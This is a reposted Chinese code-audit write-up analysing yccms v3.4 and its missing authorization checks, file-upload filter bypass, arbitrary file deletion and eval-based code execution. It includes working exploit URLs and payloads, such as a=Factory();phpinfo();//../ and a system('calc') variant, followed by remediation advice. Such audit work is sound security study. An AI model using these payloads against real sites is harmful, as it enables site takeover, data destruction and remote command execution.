yccms代码审计学习
文章描述了一个系统的多个安全漏洞及其利用过程,包括未授权修改管理员密码、任意文件删除、文件上传以及代码执行等风险,并详细介绍了漏洞的发现与利用方法,并提出了相应的修复建议。 2025-10-17 04:8:51 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

yccms审计 v3.4

一、基础分析

  • url信息收集

    // 上传文件时的请求url
    http://127.0.0.1/admin/?a=article&m=add
    
    // 并且通过观察
    找到
        1/controller/ArticleAction.class.php文件下
        	public function add(){
    		if(isset($_POST['send'])){
    			$this->getPost();
    
  • 版本以及利用框架分析

    搜索version无果
    直接搜thinkphp依旧无果
    于是放弃
    
  • 除此之外是一个典型mvc模型

二、代码审计

1.未授权更改管理员账号密码

1.url:
http://127.0.0.1/admin/?a=admin&m=update

2.定位文件内容
1/controller/AdminAction.class.php
$_edit=$this->_model->editAdmin();函数

1/model/AdminModel.class.php
class AdminModel extends Model{
	public function editAdmin(){
  • 通过分析查看,未发现任何鉴权行为,所以可以未登录情况下调用接口直接修改密码账号

  • 举一反三,找到更多没有鉴权就可以执行的行为

    • http://127.0.0.1/admin/?a=article&m=delete&id=2450
      

2.任意文件删除

1.接上回我们发现admin账户下执行的操作函数都没有进行鉴权判断
于是找到了
http://127.0.0.1/admin/?a=pic
图片管理
即1/controller/PicAction.class.php文件

2.找到了删除接口
http://127.0.0.1/admin/?a=pic&m=delall

1/controller/PicAction.class.php文件下

	public function delall(){
		if(isset($_POST['send'])){
			if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);
			$_fileDir=ROOT_PATH.'/uploads/';
			foreach($_POST['pid'] as $_value){
				$_filePath=$_fileDir.$_value;
				if(!unlink($_filePath)){
					tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
				}else{
					header('Location:?a=pic');
				}
			}
			
很明显,没有任何过滤等等,传入pid数组即可删除,于是利用hackbar构造

http://127.0.0.1/admin/?a=pic&m=delall
pid[0]=chuan1.png
chkall=on
send=删除选中图片
  • 成功复现,同时也是未授权漏洞

3.文件上传(1)

1.文件上传url
http://127.0.0.1/admin/?a=call&m=upfile&type=content

结果转到
a=call&m=upLoad

定位函数
	public function upLoad() {
		if (isset($_POST['send'])) {
			$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
			$_path = $_logoupload->getPath();
			$_img = new Image($_path);
			$_img->xhImg(960,0);
			$_img->out();
			//echo $_path;
			$_logoupload->alertOpenerClose('图片上传成功!','..'.$_path);
		} else {
			exit('警告:文件过大或者其他未知错误导致浏览器崩溃!');
		}

定位到验证函数
	//验证类型
	$this->type = $_FILES[$_file]['type'];
	//$_FILES[$_file]['type'] 的取值就是浏览器(或用户代理)在发起文件上传请求时,根据文件扩展名或简单内容嗅探填写的 MIME type 字符串。
        
	private function checkType() {
		if (!in_array($this->type,$this->typeArr)) {
			Tool::alertBack('警告:LOGO图片必须是PNG格式!');
		}
	}
	
    //所以只需要上传的时候抓包将Content-Type字段修改image/png就ok
	
  • 成功上传后门

    image-20250815233058811.png

4.文件上传(2)

1.同文件下1/controller/CallAction.class.php
	public function xhUp() {
	在进行检查的时候
		private function checkType() {
		if (!in_array($this->type,$this->typeArr)) {
			Tool::alertBack('警告:不合法的上传类型!');
		}
	}
	跟上面的问题一样,可以利用动态调试检验流程
	
2.构造url
http://127.0.0.1/admin/?a=call&m=xhUp&type=content

我的电脑配置环境有问题不展示,动态调试下1
  • image-20250815235451196

5.代码执行

  • 通过搜索关键字eval

    image-20250816000031458

  • 定位到1/public/class/Factory.class.php开始分析

    1.此处代码如下
    
    $_a=self::getA();
    if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
    eval('self::$_obj = new '.ucfirst($_a).'Action();');
    
    getA()是指
    		static public function getA(){
    		if(isset($_GET['a']) && !empty($_GET['a'])){
    			return $_GET['a'];
    		}
    		return 'login';
    
    
    
    2.所以便是接收一个a参数进行eval调用
    尝试绕过
    让file_exists()存在  闭合new
    
    a=Factory();phpinfo();//../
    
    
    
    
  • 该处的注意点

    • $path = 'D:/phpstudy_pro/WWW/xiaodi/1/controller/Factory();phpinfo();//..//Action.class.php';路径相当于路径D:\phpstudy_pro\WWW\xiaodi\1\controller\Action.class.php

    • eval('self::$_obj = new '.ucfirst($_a).'Action();');a=a=Factory();phpinfo();//../之后执行的代码相当于self::$_obj = new Factory();phpinfo();//../Action();最后的//相当于注释

    • //相当于
      self::$_obj = new Factory();
      phpinfo();
      //../Action(); // 被注释掉了
      
      Windows 下 PHP 的 file_exists() 会自动规范化路径,// 被当成 \,.. 被当成上级目录,所以你的“奇怪路径”被解析成了另一个真实存在的文件,导致返回了 true
      
  • 尝试调用

    Factory.class.php类文件无法直接调用
    于是寻找间接第调用
    找到
    1/config/run.inc.php
    Factory::setAction()->run();
    
    依旧无法,但发现该文件是配置文件,发现调用该文件
    
    • image-20250816003144749

    • 构造三处payload
      1/search/index.php
      127.0.0.1/search/index.php?a=Factory();phpinfo();//../
      
      1/admin/index.php
      127.0.0.1/admin/index.php?a=Factory();phpinfo();//../
      
      1/config/count.php
      127.0.0.1/config/count.php?a=Factory();phpinfo();//../
      
      
      http://127.0.0.1/admin/index.php?a=Factory();system(%27calc%27);//../
      
      • 甚至能执行电脑命令

      • image-20250816003920786

三、弥补

  • 对于任意文件删除漏洞,可以通过在拼接路径时先进行正则匹配过滤,或者通过加密的ID去删除,不要直接拼接路径

  • 对于任意文件上传漏洞可以更换后缀的验证方式为白名单的验证方式

  • 对于任意篡改管理员账号密码可以对传入的用户名进行校验是否是当前用户

  • 对于上述所有的操作都要进行权限访问控制,不要进行未授权的操作

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/453055.html
如有侵权请联系:admin#unsafe.sh